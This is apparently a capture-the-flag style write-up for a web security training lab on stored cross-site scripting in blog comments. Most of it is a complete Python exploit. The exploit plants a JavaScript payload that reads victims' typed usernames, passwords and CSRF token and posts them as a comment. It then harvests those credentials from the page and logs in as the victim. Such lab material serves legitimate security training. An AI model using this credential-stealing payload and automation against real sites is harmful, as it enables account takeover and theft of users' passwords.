XSS Lab 23
Stored XSS in blog comments used to capture victim username and password via forced comment submission
Exploiting cross-site scripting to capture passwords#
This lab contains a stored cross-site scripting (XSS) vulnerability in the blog comments function. The exploit leverages XSS to force the victim’s browser to submit their username and password as a new comment (a CSRF-style approach using the victim’s own authenticated session). Because the Academy firewall blocks arbitrary external interactions, the recommended approach uses Burp Collaborator; however this exploit demonstrates an alternative that posts credentials directly to the site comments, allowing the attacker to read them from the post page and use them to log in as the victim.
How Exploit Works#
- The blog comment field is stored and later rendered to visitors, which creates a stored XSS sink.
- Inject HTML inputs plus JavaScript that, when a victim types their credentials (or when triggered), reads the page CSRF token and the values of
usernameandpasswordinputs. - The script submits a new comment containing
username:passwordusingfetch()withmode: 'no-cors'(so the request originates from the victim’s browser and is processed by the site). - The attacker polls the post page and extracts posted credentials from comment content.
- Use captured credentials to log in as the victim and access pages like
/my-accountto confirm the attack and solve the lab.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import re
import sys
import time
import requests
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
except Exception:
print("[-] Burp Suite not running.")
sys.exit(1)
def submit_payload(session, base_url, payload):
"""Submits the XSS payload to postId=4."""
post_page = f"{base_url}/post?postId=4"
r = session.get(post_page)
r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "csrf"})["value"]
print("[*] Submitting payload as comment ...")
data = {
"csrf": csrf,
"postId": "4",
"comment": payload,
"name": "exploit",
"email": "[email protected]",
"website": "http://example.com",
}
session.post(f"{base_url}/post/comment", data=data)
def poll_for_credentials(session, base_url, timeout=30):
"""Polls the post page for captured credentials until timeout."""
post_page = f"{base_url}/post?postId=4"
print(f"[*] Polling post page for up to {timeout}s...")
start = time.time()
creds = []
while time.time() - start < timeout:
r = session.get(post_page)
r.raise_for_status()
matches = re.findall(r"([A-Za-z0-9_]+):([A-Za-z0-9_]+)", r.text)
for m in matches:
if m not in creds:
creds.append(m)
print(f"[+] Captured credentials: {m[0]}:{m[1]}")
if creds:
return creds
time.sleep(2)
print("[-] Timeout reached, no credentials captured.")
return []
def try_login(session, base_url, username, password):
"""Attempts login with captured credentials."""
login_url = f"{base_url}/login"
r = session.get(login_url)
r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "csrf"})["value"]
data = {"csrf": csrf, "username": username, "password": password}
resp = session.post(login_url, data=data)
if "Your username is" in resp.text or "Log out" in resp.text:
print(f"[+] Logged in as {username}. Checking if lab is solved...")
check_lab(session, base_url)
return True
print("[-] Login failed (incorrect credentials or login flow differs).")
return False
def check_lab(session, base_url):
"""Checks if the lab is solved."""
resp = session.get(base_url + "/")
if "Congratulations" in resp.text or "LAB SOLVED" in resp.text:
print("[+] Lab solved 🎉")
return True
print("[-] Lab not solved.")
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
sys.exit(1)
base_url = sys.argv[1].rstrip("/")
check_burp()
print("[*] Attempting XSS on postId=4...")
s = requests.Session()
s.proxies = proxies
s.verify = False
payload = """
<script>
function hax() {
try {
var token = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;
var data = new FormData();
data.append('csrf', token);
data.append('postId', 4);
data.append('comment', username + ':' + password);
data.append('name', 'victim');
data.append('email', '[email protected]');
data.append('website', 'http://www.zenshell.ninja');
fetch('/post/comment', { method: 'POST', mode: 'no-cors', body: data });
} catch(e) {}
}
</script>
<input type="text" name="username">
<input type="password" name="password" onchange="hax()">
"""
submit_payload(s, base_url, payload)
creds = poll_for_credentials(s, base_url, timeout=30)
if not creds:
print("[-] No credentials found. Exiting.")
return
for username, password in creds:
print(f"[*] Trying next captured credential: {username}:{password}")
if try_login(s, base_url, username, password):
print("[+] Exploit finished: lab solved or credentials used.")
return
print("[-] Exploit finished without success.")
if __name__ == "__main__":
main()python